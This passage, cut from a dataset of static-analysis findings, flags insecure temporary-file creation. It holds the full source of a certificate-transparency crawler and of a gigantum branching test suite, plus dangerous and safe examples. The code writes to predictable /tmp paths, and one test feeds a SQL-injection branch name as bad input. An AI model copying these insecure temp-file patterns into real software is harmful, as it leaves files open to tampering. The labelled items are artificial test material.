break\n print('[{}] Submitting {} Samples to MASS...'.format(os.getpid(), len(entries)))\n for entry in entries:\n for i in range(3):\n try:\n s = Sample.create(domain=entry['all_domains'][0], tags=['domain_with_cert'])\n scheduled = anal_system_instance.schedule_analysis(s)\n scheduled.create_report(\n json_report_objects={'domain_report': ('domain_report', entry)},\n )\n break\n except requests.HTTPError:\n if i == 2:\n logging.error('HTTPError while creating a sample.')\n\n\nasync def download_worker(session, log_info, work_deque, download_queue, timestamp):\n while True:\n try:\n start, end = work_deque.popleft()\n except IndexError:\n return\n\n for x in range(5):\n try:\n logging.info('Getting block {}-{}'.format(start, end))\n async with session.get(certlib.DOWNLOAD.format(log_info['url'], start, end)) as response:\n entry_list = await response.json()\n break\n except Exception as e:\n if x == 4:\n logging.error(\"Exception getting block {}-{}! {}\".format(start, end, e))\n else: # Notorious for else, if we didn't encounter a break our request failed 3 times D:\n with open('/tmp/fails.csv', 'a') as f:\n f.write(\",\".join([log_info['url'], str(start), str(end)]))\n return\n\n for index, entry in zip(range(start, end + 1), entry_list['entries']):\n entry['cert_index'] = index\n await download_queue.put(({\"entries\": entry_list['entries'],\n \"log_info\": log_info,\n \"start\": start,\n \"end\": end\n }, timestamp))\n\n\nasync def retrieve_certificates(loop, download_concurrency, mass_concurrency, time_sec, once, anal_system_instance):\n async with aiohttp.ClientSession(loop=loop, conn_timeout=10) as session:\n while True:\n urls = get_ctls_from_mass(anal_system_instance)\n ctl_logs = await certlib.retrieve_all_ctls(session)\n for log in ctl_logs:\n if log['url'] not in urls:\n continue\n work_deque = deque()\n download_results_queue = asyncio.Queue(maxsize=DOWNLOAD_QUEUE_SIZE)\n manager = aioprocessing.AioManager()\n parse_results_queue = manager.Queue(maxsize=MASS_QUEUE_SIZE)\n\n logging.info(\"Downloading certificates for {}\".format(log['description']))\n try:\n log_info = await certlib.retrieve_log_info(log, session)\n except (aiohttp.ClientConnectorError, aiohttp.ServerTimeoutError, aiohttp.ClientOSError,\n aiohttp.ClientResponseError) as e:\n logging.error(\"Failed to connect to CTL! -> {} - skipping.\".format(e))\n continue\n\n try:\n await certlib.populate_work(work_deque, log_info, start=0)\n except Exception as e:\n logging.error(\"Log needs no update - {}\".format(e))\n continue\n download_tasks = asyncio.gather(*[\n download_worker(session, log_info, work_deque, download_results_queue, urls[log['url']])\n for _ in range(download_concurrency)\n ])\n processing_task = asyncio.ensure_future(processing_coro(download_results_queue, parse_results_queue))\n asyncio.ensure_future(download_tasks)\n\n mass_task = asyncio.ensure_future(mass_worker(parse_results_queue, mass_concurrency))\n\n await download_tasks\n await download_results_queue.put(None) # Downloads are done, processing can stop\n await processing_task\n for _ in range(0, mass_concurrency):\n parse_results_queue.put(None)\n print('Parsing complete. MASS Queue: {}'.format(parse_results_queue.qsize()))\n await mass_task\n if not once:\n logging.info('Completed. Sleeping for {} seconds.'.format(time_sec))\n time.sleep(time_sec)\n else:\n logging.info('Completed.')\n break\n\n\nasync def processing_coro(download_results_queue, parse_result_queue):\n logging.info(\"Starting processing coro and process pool\")\n process_pool = aioprocessing.AioPool()\n\n done = False\n\n while True:\n entries_iter = []\n logging.info(\"Getting things to process...\")\n for _ in range(int(process_pool.pool_workers)):\n entries = await download_results_queue.get()\n if entries is not None:\n entries_iter.append(entries)\n else:\n done = True\n break\n\n if len(entries_iter) > 0:\n results = await process_pool.coro_map(process_worker, entries_iter)\n for result in results:\n if len(result) > 0:\n parse_result_queue.put(result)\n\n if done:\n break\n\n process_pool.close()\n\n await process_pool.coro_join()\n\n\ndef process_worker(arg):\n result_info = arg[0]\n timestamp = arg[1]\n parsed_results = []\n\n if not result_info:\n return\n try:\n print(\"[{}] Parsing...\".format(os.getpid()))\n for entry in result_info['entries']:\n mtl = certlib.MerkleTreeHeader.parse(base64.b64decode(entry['leaf_input']))\n cert_data = {}\n if mtl.LogEntryType == \"X509LogEntryType\":\n cert_data['type'] = \"X509LogEntry\"\n chain = [crypto.load_certificate(crypto.FILETYPE_ASN1, certlib.Certificate.parse(mtl.Entry).CertData)]\n extra_data = certlib.CertificateChain.parse(base64.b64decode(entry['extra_data']))\n for cert in extra_data.Chain:\n chain.append(crypto.load_certificate(crypto.FILETYPE_ASN1, cert.CertData))\n else:\n cert_data['type'] = \"PreCertEntry\"\n extra_data = certlib.PreCertEntry.parse(base64.b64decode(entry['extra_data']))\n chain = [crypto.load_certificate(crypto.FILETYPE_ASN1, extra_data.LeafCert.CertData)]\n\n for cert in extra_data.Chain:\n chain.append(\n crypto.load_certificate(crypto.FILETYPE_ASN1, cert.CertData)\n )\n cert_data.update({\n \"leaf_cert\": certlib.dump_cert(chain[0]),\n \"chain\": [certlib.dump_cert(x) for x in chain[1:]]\n })\n if cert_data['leaf_cert']['not_before'] < timestamp:\n continue\n certlib.add_all_domains(cert_data)\n\n cert_data['source'] = {\n \"url\": result_info['log_info']['url'],\n }\n\n parsed_results.append({'log_url': result_info['log_info']['url'],\n 'all_domains': cert_data['leaf_cert']['all_domains'],\n 'not_before': str(cert_data['leaf_cert']['not_before']),\n 'not_after': str(cert_data['leaf_cert']['not_after']),\n 'sct_timestamp': mtl.Timestamp / 1000})\n except Exception as e:\n print(\"========= EXCEPTION =========\")\n traceback.print_exc()\n print(e)\n print(\"=============================\")\n\n return parsed_results\n\n\ndef submit_ctls_to_mass(urls, timestamp, anal_system_instance):\n logging.info(\"Submitting following CTLogs to MASS: {}\".format(urls))\n for url in urls:\n for i in range(3):\n try:\n s = Sample.create(domain=url, tags=['ctlog'])\n scheduled = anal_system_instance.schedule_analysis(s)\n scheduled.create_report(\n json_report_objects={'ctl_report': ('ctl_report', {'time': timestamp})},\n )\n break\n except requests.HTTPError:\n if i == 2:\n logging.error('HTTPError while creating a CTL sample.')\n\n\ndef get_ctls_from_mass(anal_system_instance):\n new_time = time.time()\n dict = {}\n # TODO: BUG??? ctls = Sample.query(tags__all='ctlog')\n ctls = Sample.query()\n for ctl in ctls:\n if 'ctlog' in ctl.tags:\n # assumption: report[0] is the latest report\n report = ctl.get_reports()[0]\n dict[ctl.unique_features.domain] = report.json_reports['ctl_report']['time']\n scheduled = anal_system_instance.schedule_analysis(ctl)\n scheduled.create_report(\n json_report_objects={'ctl_report': ('ctl_report', {'time': new_time})},\n )\n return dict\n\n\ndef main():\n config = configparser.ConfigParser()\n config.read('config.ini')\n ctl_urls = config.get('General', 'CT Logs')\n mass_concurrency = config.get('General', 'MASS concurrency')\n download_concurrency = config.get('General', 'download concurrency')\n start_timestamp = config.get('General', 'start timestamp')\n crawl_once = config.getboolean('General', 'crawl once')\n time_sleep = config.get('General', 'time sleep')\n add_urls = config.getboolean('General', 'add CT Logs')\n\n loop = asyncio.get_event_loop()\n\n parser = argparse.ArgumentParser(description='Pull down certificate transparency list information')\n\n parser.add_argument('-u', dest=\"ctl_urls\", action=\"store_true\", default=add_urls,\n help=\"Retrieve the CTLs defined in config.ini additionally to CTLs stored in MASS\")\n\n parser.add_argument('-c', dest='download_concurrency', action='store', default=download_concurrency, type=int,\n help=\"The number of concurrent downloads to run at a time\")\n\n parser.add_argument('-m', dest='mass_concurrency', action='store', default=mass_concurrency, type=int,\n help=\"The number of concurrent MASS submitter to run at a time\")\n\n parser.add_argument('-f', dest='start_timestamp', action='store', default=start_timestamp, type=int,\n help=\"Certificates with a SCT older than this value are ignored.\")\n\n parser.add_argument('-o', dest='crawl_once', action='store_true', default=crawl_once,\n help='Crawl only once.')\n\n parser.add_argument('-t', dest='time_sleep', action='store', default=time_sleep, type=int,\n help='If crawl once with -o is NOT chosen this sets the time too sleep between crawls.')\n\n args = parser.parse_args()\n\n logging.basicConfig(format='[%(levelname)s:%(name)s] %(asctime)s - %(message)s', level=logging.INFO)\n\n logging.info(\"Starting...\")\n mac.ConnectionManager().register_connection('default', config.get('General', 'MASS api key'),\n config.get('General', 'MASS server address'))\n\n anal_system_instance = get_or_create_analysis_system_instance(identifier='crawl',\n verbose_name='ct_crawler',\n tag_filter_exp='sample-type:domainsample',\n )\n\n if args.ctl_urls:\n submit_ctls_to_mass(ctl_urls.replace(' ', '').split(','), args.start_timestamp, anal_system_instance)\n\n loop.run_until_complete(\n retrieve_certificates(loop, download_concurrency=args.download_concurrency, anal_system_instance=anal_system_instance,\n mass_concurrency=args.mass_concurrency, time_sec=args.time_sleep, once=args.crawl_once))\n\n\nif __name__ == \"__main__\":\n main()", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 80, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "87af36d31846c1d4beb23b1465a06eafbebab6b2f4b7e992eea9cba19eca121e", "license": {"spdx": ["MIT"], "repo": "gigabackup/gigantum-client", "path": "packages/gtmapi/lmsrvlabbook/tests/test_labbook_branching.py", "repo_head_hexsha": "70fe6b39b87b1c56351f2b4c551b6f1693813e4f", "stack_hexsha": "c7d2d8b21cf11311ac22d774de80208c52419956", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 479, "entireCode": "import os\nimport pytest\nimport shutil\nimport flask\nfrom flask import Flask\nimport graphene\nimport pprint\nfrom graphene.test import Client\nfrom mock import patch\nimport responses\n\nfrom gtmcore.auth.identity import get_identity_manager_class\nfrom gtmcore.configuration import Configuration\nfrom gtmcore.gitlib import RepoLocation\nfrom gtmcore.inventory.branching import BranchManager\nfrom gtmcore.inventory.inventory import InventoryManager\n\nfrom gtmcore.files import FileOperations\n\nfrom lmsrvcore.middleware import DataloaderMiddleware, error_middleware\nfrom lmsrvlabbook.tests.fixtures import ContextMock, fixture_working_dir, _create_temp_work_dir, \\\n fixture_working_dir_lfs_disabled\nfrom gtmcore.fixtures import helper_create_remote_repo, flush_redis_repo_cache\nfrom lmsrvlabbook.api.query import LabbookQuery\nfrom lmsrvlabbook.api.mutation import LabbookMutations\nfrom gtmcore.workflows import LabbookWorkflow\n\nUT_USERNAME = \"default\"\nUT_LBNAME = \"unittest-workflow-branch-1\"\n\n\n@pytest.fixture()\ndef mock_create_labbooks(fixture_working_dir):\n # Create a labbook in the temporary directory\n im = InventoryManager()\n lb = im.create_labbook(UT_USERNAME, UT_USERNAME, UT_LBNAME, description=\"Cats labbook 1\")\n\n # Create a file in the dir\n with open(os.path.join(fixture_working_dir[1], 'unittest-examplefile'), 'w') as sf:\n sf.write(\"test data\")\n sf.seek(0)\n FileOperations.insert_file(lb, 'code', sf.name)\n\n assert os.path.isfile(os.path.join(lb.root_dir, 'code', 'unittest-examplefile'))\n\n # Create test client\n schema = graphene.Schema(query=LabbookQuery, mutation=LabbookMutations)\n app = Flask(\"lmsrvlabbook\")\n app.config[\"LABMGR_CONFIG\"] = config = Configuration()\n app.config[\"ID_MGR_CLS\"] = get_identity_manager_class(config)\n with app.app_context():\n flask.g.user_obj = get_identity_manager_class(config)(config).get_user_profile()\n client = Client(schema, middleware=[DataloaderMiddleware(), error_middleware],\n context_value=ContextMock())\n yield lb, client, schema\n shutil.rmtree(fixture_working_dir, ignore_errors=True)\n\n\nclass TestWorkflowsBranching(object):\n def test_active_branch_name(self, mock_create_labbooks):\n lb, client = mock_create_labbooks[0], mock_create_labbooks[1]\n bm = BranchManager(lb, username=UT_USERNAME)\n\n q = f\"\"\"\n {{\n labbook(name: \"{UT_LBNAME}\", owner: \"{UT_USERNAME}\") {{\n activeBranchName\n workspaceBranchName\n }}\n }}\n \"\"\"\n r = client.execute(q)\n assert 'errors' not in r\n assert r['data']['labbook']['activeBranchName'] == bm.active_branch\n assert r['data']['labbook']['workspaceBranchName'] == bm.workspace_branch\n\n def test_available_branches(self, mock_create_labbooks):\n lb, client = mock_create_labbooks[0], mock_create_labbooks[1]\n bm = BranchManager(lb, username=UT_USERNAME)\n\n q = f\"\"\"\n {{\n labbook(name: \"{UT_LBNAME}\", owner: \"{UT_USERNAME}\") {{\n branches {{\n branchName\n isLocal\n isRemote\n isActive\n }}\n }}\n }}\n \"\"\"\n r = client.execute(q)\n pprint.pprint(r)\n assert 'errors' not in r\n assert len(r['data']['labbook']['branches']) == 1\n assert r['data']['labbook']['branches'][0]['branchName'] == bm.workspace_branch\n assert r['data']['labbook']['branches'][0]['isLocal'] == True, \"Should be local\"\n assert r['data']['labbook']['branches'][0]['isRemote'] == False, \"There should be no remote branches\"\n assert r['data']['labbook']['branches'][0]['isActive'] == True\n\n def test_query_mergeable_branches_from_main(self, mock_create_labbooks):\n lb, client = mock_create_labbooks[0], mock_create_labbooks[1]\n bm = BranchManager(lb, username=UT_USERNAME)\n b1 = bm.create_branch(f\"tester1\")\n bm.workon_branch(bm.workspace_branch)\n b2 = bm.create_branch(f\"tester2\")\n bm.workon_branch(bm.workspace_branch)\n assert bm.active_branch == bm.workspace_branch\n\n q = f\"\"\"\n {{\n labbook(name: \"{UT_LBNAME}\", owner: \"{UT_USERNAME}\") {{\n branches {{\n branchName\n isMergeable\n }}\n }}\n }}\n \"\"\"\n r = client.execute(q)\n assert 'errors' not in r\n assert len(r['data']['labbook']['branches']) == 3\n assert r['data']['labbook']['branches'][0]['branchName'] == 'master'\n assert r['data']['labbook']['branches'][0]['isMergeable'] == False\n assert r['data']['labbook']['branches'][1]['branchName'] == 'tester1'\n assert r['data']['labbook']['branches'][1]['isMergeable'] == True\n assert r['data']['labbook']['branches'][2]['branchName'] == 'tester2'\n assert r['data']['labbook']['branches'][2]['isMergeable'] == True\n\n def test_query_mergeable_branches_from_feature_branch(self, mock_create_labbooks):\n # Per current branch model, can only merge in workspace branch\n lb, client = mock_create_labbooks[0], mock_create_labbooks[1]\n bm = BranchManager(lb, username=UT_USERNAME)\n b1 = bm.create_branch(f\"tester1\")\n bm.workon_branch(bm.workspace_branch)\n b2 = bm.create_branch(f\"tester2\")\n\n q = f\"\"\"\n {{\n labbook(name: \"{UT_LBNAME}\", owner: \"{UT_USERNAME}\") {{\n workspaceBranchName\n branches {{\n branchName\n isMergeable\n }}\n }}\n }}\n \"\"\"\n r = client.execute(q)\n assert 'errors' not in r\n assert r['data']['labbook']['workspaceBranchName'] == bm.workspace_branch\n branches = r['data']['labbook']['branches']\n assert branches[0]['branchName'] == 'master'\n assert branches[0]['isMergeable'] is True\n assert branches[1]['branchName'] == 'tester1'\n assert branches[1]['isMergeable'] is True\n assert branches[2]['branchName'] == 'tester2'\n assert branches[2]['isMergeable'] is False\n\n def test_create_feature_branch_bad_name_fail(self, mock_create_labbooks):\n lb, client = mock_create_labbooks[0], mock_create_labbooks[1]\n bm = BranchManager(lb, username=UT_USERNAME)\n bad_branch_names = ['', '_', 'Über-bad', 'xxx-xxx' * 40, 'cats_99', 'bad-', '-', '-bad', 'bad--bad',\n 'bad---bad--bad-bad', 'Nope', 'Nope99', 'Nope-99', 'N&PE', 'n*ope', 'no;way', 'no:way',\n '-not-a-branch', 'Robert\") DROP TABLE Students; --', \"no way not a branch\",\n ''.join(chr(x) for x in range(0, 78)), ''.join(chr(x) for x in range(0, 255)),\n chr(0) * 10, chr(0) * 10000]\n\n for bad_name in bad_branch_names:\n q = f\"\"\"\n mutation makeFeatureBranch {{\n createExperimentalBranch(input: {{\n owner: \"{UT_USERNAME}\",\n labbookName: \"{UT_LBNAME}\",\n branchName: \"{bad_name}\"\n }}) {{\n newBranchName\n }}\n }}\n \"\"\"\n r = client.execute(q)\n pprint.pprint(r)\n assert 'errors' in r\n assert bm.active_branch == bm.workspace_branch\n assert lb.is_repo_clean\n\n def test_create_feature_branch_from_feature_branch_fail(self, mock_create_labbooks):\n lb, client = mock_create_labbooks[0], mock_create_labbooks[1]\n bm = BranchManager(lb, username=UT_USERNAME)\n b1 = bm.create_branch(f\"tester1\")\n\n q = f\"\"\"\n mutation makeFeatureBranch {{\n createExperimentalBranch(input: {{\n owner: \"{UT_USERNAME}\",\n labbookName: \"{UT_LBNAME}\",\n branchName: \"valid-branch-name\"\n }}) {{\n newBranchName\n }}\n }}\n \"\"\"\n r = client.execute(q)\n pprint.pprint(r)\n assert 'errors' in r\n assert bm.active_branch == b1\n assert lb.is_repo_clean\n\n def test_create_feature_branch_success(self, mock_create_labbooks):\n lb, client = mock_create_labbooks[0], mock_create_labbooks[1]\n bm = BranchManager(lb, username=UT_USERNAME)\n b1 = bm.create_branch(f\"tester1\")\n bm.workon_branch(bm.workspace_branch)\n\n q = f\"\"\"\n mutation makeFeatureBranch {{\n createExperimentalBranch(input: {{\n owner: \"{UT_USERNAME}\",\n labbookName: \"{UT_LBNAME}\",\n branchName: \"valid-branch-name-working1\"\n }}) {{\n labbook{{\n name\n activeBranchName\n branches {{\n branchName\n }}\n }}\n }}\n }}\n \"\"\"\n r = client.execute(q)\n assert 'errors' not in r\n assert r['data']['createExperimentalBranch']['labbook']['activeBranchName'] \\\n == 'valid-branch-name-working1'\n assert set([n['branchName'] for n in r['data']['createExperimentalBranch']['labbook']['branches']]) \\\n == set(['tester1', 'master', 'valid-branch-name-working1'])\n\n assert lb.active_branch == 'valid-branch-name-working1'\n assert lb.is_repo_clean\n\n def test_create_feature_branch_success_update_description(self, mock_create_labbooks):\n lb, client = mock_create_labbooks[0], mock_create_labbooks[1]\n bm = BranchManager(lb, username=UT_USERNAME)\n b1 = bm.create_branch(f\"tester1\")\n bm.workon_branch(bm.workspace_branch)\n\n q = f\"\"\"\n mutation makeFeatureBranch {{\n createExperimentalBranch(input: {{\n owner: \"{UT_USERNAME}\",\n labbookName: \"{UT_LBNAME}\",\n branchName: \"valid-branch-name-working1\"\n description: \"Updated description\"\n }}) {{\n labbook{{\n name\n description\n branches {{\n branchName\n }}\n activeBranchName\n }}\n }}\n }}\n \"\"\"\n r = client.execute(q)\n assert 'errors' not in r\n assert r['data']['createExperimentalBranch']['labbook']['activeBranchName'] \\\n == 'valid-branch-name-working1'\n assert r['data']['createExperimentalBranch']['labbook']['description'] \\\n == \"Updated description\"\n\n assert bm.active_branch == 'valid-branch-name-working1'\n assert lb.is_repo_clean\n\n # Make sure activity record was created when description was changed\n log_data = lb.git.log()\n assert \"_GTM_ACTIVITY_START_**\\nmsg:Updated description of Project\" in log_data[0]['message']\n\n def test_delete_feature_branch_fail(self, mock_create_labbooks):\n lb, client = mock_create_labbooks[0], mock_create_labbooks[1]\n bm = BranchManager(lb, username=UT_USERNAME)\n b1 = bm.create_branch(f\"tester1\")\n\n q = f\"\"\"\n mutation makeFeatureBranch {{\n deleteExperimentalBranch(input: {{\n owner: \"{UT_USERNAME}\",\n labbookName: \"{UT_LBNAME}\",\n branchName: \"{b1}\",\n deleteLocal: true\n }}) {{\n success\n }}\n }}\n \"\"\"\n r = client.execute(q)\n pprint.pprint(r)\n # Cannot delete branch when it's the currently active branch\n assert 'errors' in r\n assert bm.active_branch == b1\n assert lb.is_repo_clean\n\n def test_delete_feature_branch_success(self, mock_create_labbooks):\n lb, client = mock_create_labbooks[0], mock_create_labbooks[1]\n bm = BranchManager(lb, username=UT_USERNAME)\n b1 = bm.create_branch(f\"tester1\")\n bm.workon_branch(bm.workspace_branch)\n\n q = f\"\"\"\n mutation makeFeatureBranch {{\n deleteExperimentalBranch(input: {{\n owner: \"{UT_USERNAME}\",\n labbookName: \"{UT_LBNAME}\",\n branchName: \"{b1}\",\n deleteLocal: true\n }}) {{\n labbook {{\n branches {{\n branchName\n }}\n }}\n }}\n }}\n \"\"\"\n r = client.execute(q)\n pprint.pprint(r)\n # Cannot delete branch when it's the currently active branch\n assert 'errors' not in r\n assert bm.active_branch == bm.workspace_branch\n assert lb.is_repo_clean\n assert b1 not in bm.branches_local\n\n def test_workon_feature_branch_bad_name_fail(self, mock_create_labbooks):\n lb, client = mock_create_labbooks[0], mock_create_labbooks[1]\n bm = BranchManager(lb, username=UT_USERNAME)\n b1 = bm.create_branch(f\"tester1\")\n bm.workon_branch(bm.workspace_branch)\n\n q = f\"\"\"\n mutation makeFeatureBranch {{\n workonExperimentalBranch(input: {{\n owner: \"{UT_USERNAME}\",\n labbookName: \"{UT_LBNAME}\",\n branchName: \"{b1.replace('gm', '')}\"\n }}) {{\n currentBranchName\n }}\n }}\n \"\"\"\n r = client.execute(q)\n pprint.pprint(r)\n # Cannot delete branch when it's the currently active branch\n assert 'errors' in r\n assert bm.active_branch == bm.workspace_branch\n assert lb.is_repo_clean\n\n def test_workon_feature_branch_success(self, mock_create_labbooks):\n lb, client = mock_create_labbooks[0], mock_create_labbooks[1]\n bm = BranchManager(lb, username=UT_USERNAME)\n b1 = bm.create_branch(f\"tester1\")\n bm.workon_branch(bm.workspace_branch)\n\n assert bm.active_branch == 'master'\n\n q = f\"\"\"\n mutation makeFeatureBranch {{\n workonExperimentalBranch(input: {{\n owner: \"{UT_USERNAME}\",\n labbookName: \"{UT_LBNAME}\",\n branchName: \"{b1}\"\n }}) {{\n labbook{{\n name\n description\n branches {{\n branchName\n }}\n activeBranchName\n }}\n }}\n }}\n \"\"\"\n r = client.execute(q)\n assert 'errors' not in r\n assert r['data']['workonExperimentalBranch']['labbook']['activeBranchName'] \\\n == 'tester1'\n ab = r['data']['workonExperimentalBranch']['labbook']['branches']\n assert set([n['branchName'] for n in ab]) \\\n == set(['master', 'tester1'])\n assert bm.active_branch == 'tester1'\n assert lb.is_repo_clean\n\n def test_merge_into_workspace_from_simple_success(self, mock_create_labbooks):\n lb, client = mock_create_labbooks[0], mock_create_labbooks[1]\n bm = BranchManager(lb, username=UT_USERNAME)\n og_hash = lb.git.commit_hash\n b1 = bm.create_branch(f\"test-branch\")\n FileOperations.makedir(lb, 'code/sillydir1', create_activity_record=True)\n FileOperations.makedir(lb, 'code/sillydir2', create_activity_record=True)\n branch_hash = lb.git.commit_hash\n\n assert og_hash != branch_hash\n\n bm.workon_branch(bm.workspace_branch)\n assert lb.git.log()[0]['commit'] == og_hash\n assert not os.path.exists(os.path.join(lb.root_dir, 'code/sillydir1'))\n\n merge_q = f\"\"\"\n mutation x {{\n mergeFromBranch(input: {{\n owner: \"{UT_USERNAME}\",\n labbookName: \"{UT_LBNAME}\",\n otherBranchName: \"{b1}\"\n }}) {{\n labbook{{\n name\n description\n activeBranchName\n }}\n }}\n }}\n \"\"\"\n r = client.execute(merge_q)\n assert 'errors' not in r\n assert r['data']['mergeFromBranch']['labbook']['activeBranchName'] \\\n == 'master'\n\n assert lb.active_branch == bm.workspace_branch\n assert os.path.exists(os.path.join(lb.root_dir, 'code/sillydir1'))\n assert lb.is_repo_clean\n\n def test_merge_into_feature_from_workspace_simple_success(self, mock_create_labbooks):\n lb, client = mock_create_labbooks[0], mock_create_labbooks[1]\n bm = BranchManager(lb, username=UT_USERNAME)\n og_hash = lb.git.commit_hash\n b1 = bm.create_branch(f\"test-branch\")\n bm.workon_branch(bm.workspace_branch)\n assert lb.active_branch == bm.workspace_branch\n og2_hash = lb.git.commit_hash\n assert lb.git.commit_hash == og_hash\n\n FileOperations.makedir(lb, 'code/main-branch-dir1', create_activity_record=True)\n FileOperations.makedir(lb, 'code/main-branch-dir2', create_activity_record=True)\n next_main_hash = lb.git.commit_hash\n assert og_hash != next_main_hash\n\n bm.workon_branch(b1)\n assert not os.path.exists(os.path.join(lb.root_dir, 'code/main-branch-dir1'))\n\n merge_q = f\"\"\"\n mutation x {{\n mergeFromBranch(input: {{\n owner: \"{UT_USERNAME}\",\n labbookName: \"{UT_LBNAME}\",\n otherBranchName: \"{bm.workspace_branch}\"\n }}) {{\n labbook{{\n name\n description\n activeBranchName\n }}\n }}\n }}\n \"\"\"\n r = client.execute(merge_q)\n assert 'errors' not in r\n assert r['data']['mergeFromBranch']['labbook']['activeBranchName'] == 'test-branch'\n assert r['data']['mergeFromBranch']['labbook']['name'] == 'unittest-workflow-branch-1'\n\n assert lb.active_branch == b1\n assert os.path.exists(os.path.join(lb.root_dir, 'code/main-branch-dir1'))\n assert lb.is_repo_clean\n\n def test_conflicted_merge_from_no_force_fail(self, mock_create_labbooks):\n lb, client = mock_create_labbooks[0], mock_create_labbooks[1]\n with open('/tmp/s1.txt', 'w') as s1:\n s1.write('original-file\\ndata')\n FileOperations.insert_file(lb, section='code', src_file=s1.name)\n bm = BranchManager(lb, username=UT_USERNAME)\n\n nb = bm.create_branch(f'new-branch')\n with open('/tmp/s1.txt', 'w') as s1:\n s1.write('branch-conflict-data')\n FileOperations.insert_file(lb, section='code', src_file=s1.name)\n\n bm.workon_branch(bm.workspace_branch)\n with open('/tmp/s1.txt', 'w') as s1:\n s1.write('mainline-conflict-data')\n FileOperations.insert_file(lb, section='code', src_file=s1.name)\n\n merge_q = f\"\"\"\n mutation x {{\n mergeFromBranch(input: {{\n owner: \"{UT_USERNAME}\",\n labbookName: \"{UT_LBNAME}\",\n otherBranchName: \"{nb}\"\n }}) {{\n labbook{{\n name\n description\n activeBranchName\n }}\n }}\n }}\n \"\"\"\n r = client.execute(merge_q)\n assert 'errors' in r\n assert 'Merge conflict' in r['errors'][0]['message']\n\n def test_conflicted_merge_from_force_success(self, mock_create_labbooks):\n lb, client = mock_create_labbooks[0], mock_create_labbooks[1]\n with open('/tmp/s1.txt', 'w') as s1:\n s1.write('original-file\\ndata')\n FileOperations.insert_file(lb, section='code', src_file=s1.name)\n bm = BranchManager(lb, username=UT_USERNAME)\n\n nb = bm.create_branch(f'new-branch')\n with open('/tmp/s1.txt', 'w') as s1:\n s1.write('branch-conflict-data')\n FileOperations.insert_file(lb, section='code', src_file=s1.name)\n\n bm.workon_branch(bm.workspace_branch)\n with open('/tmp/s1.txt', 'w') as s1:\n s1.write('mainline-conflict-data')\n FileOperations.insert_file(lb, section='code', src_file=s1.name)\n\n merge_q = f\"\"\"\n mutation x {{\n mergeFromBranch(input: {{\n owner: \"{UT_USERNAME}\",\n labbookName: \"{UT_LBNAME}\",\n otherBranchName: \"{nb}\",\n overrideMethod: \"theirs\"\n }}) {{\n labbook{{\n name\n description\n activeBranchName\n }}\n }}\n }}\n \"\"\"\n r = client.execute(merge_q)\n assert 'errors' not in r\n assert r['data']['mergeFromBranch']['labbook']['activeBranchName'] == 'master'\n\n def test_reflect_deleted_files_on_merge_in(self, mock_create_labbooks):\n lb, client = mock_create_labbooks[0], mock_create_labbooks[1]\n with open('/tmp/s1.txt', 'w') as s1:\n s1.write('original-file\\ndata')\n FileOperations.insert_file(lb, section='code', src_file=s1.name)\n bm = BranchManager(lb, username=UT_USERNAME)\n\n nb = bm.create_branch(f'new-branch')\n assert os.path.exists(os.path.join(lb.root_dir, 'code', 's1.txt'))\n FileOperations.delete_files(lb, 'code', ['s1.txt'])\n assert lb.is_repo_clean\n assert not os.path.exists(os.path.join(lb.root_dir, 'code', 's1.txt'))\n\n bm.workon_branch(bm.workspace_branch)\n assert os.path.exists(os.path.join(lb.root_dir, 'code', 's1.txt'))\n\n merge_q = f\"\"\"\n mutation x {{\n mergeFromBranch(input: {{\n owner: \"{UT_USERNAME}\",\n labbookName: \"{UT_LBNAME}\",\n otherBranchName: \"{nb}\"\n }}) {{\n labbook{{\n name\n description\n activeBranchName\n }}\n }}\n }}\n \"\"\"\n r = client.execute(merge_q)\n assert 'errors' not in r\n assert r['data']['mergeFromBranch']['labbook']['activeBranchName'] == 'master'\n assert not os.path.exists(os.path.join(lb.root_dir, 'code', 's1.txt'))\n\n def test_create_rollback_branch_remove_linked_dataset(self, mock_create_labbooks):\n \"\"\" test creating a rollback branch that removes a linked dataset\"\"\"\n flush_redis_repo_cache()\n lb, client = mock_create_labbooks[0], mock_create_labbooks[1]\n\n im = InventoryManager()\n ds = im.create_dataset(UT_USERNAME, UT_USERNAME, 'test-ds', storage_type='gigantum_object_v1')\n\n rollback_to = lb.git.commit_hash\n\n # Link dataset to project\n im.link_dataset_to_labbook(f\"{ds.root_dir}/.git\", UT_USERNAME, ds.name, lb, UT_USERNAME)\n dataset_dir = os.path.join(lb.root_dir, '.gigantum', 'datasets', UT_USERNAME, 'test-ds')\n assert os.path.exists(dataset_dir) is True\n\n q = f\"\"\"\n mutation makeFeatureBranch {{\n createExperimentalBranch(input: {{\n owner: \"{UT_USERNAME}\",\n labbookName: \"{UT_LBNAME}\",\n branchName: \"rollback-branch\",\n revision: \"{rollback_to}\",\n description: \"testing rollback\",\n }}) {{\n labbook{{\n name\n activeBranchName\n description\n branches {{\n branchName\n }}\n linkedDatasets{{\n name\n }}\n }}\n }}\n }}\n \"\"\"\n r = client.execute(q)\n assert 'errors' not in r\n assert r['data']['createExperimentalBranch']['labbook']['activeBranchName'] == 'rollback-branch'\n assert r['data']['createExperimentalBranch']['labbook']['description'] == \"testing rollback\"\n assert r['data']['createExperimentalBranch']['labbook']['linkedDatasets'] == []\n\n assert lb.is_repo_clean\n\n assert os.path.exists(dataset_dir) is False\n\n @patch('gtmcore.workflows.gitworkflows_utils.create_remote_gitlab_repo', new=helper_create_remote_repo)\n def test_commits_ahead_behind(self, fixture_working_dir_lfs_disabled):\n with responses.RequestsMock() as rsps:\n rsps.add(responses.POST, 'https://test.gigantum.com/api/v1/',\n json={'data': {'additionalCredentials': {'gitServiceToken': ''}}}, status=200)\n\n client = fixture_working_dir_lfs_disabled[2]\n\n im = InventoryManager()\n lb = im.create_labbook(UT_USERNAME, UT_USERNAME, UT_LBNAME, 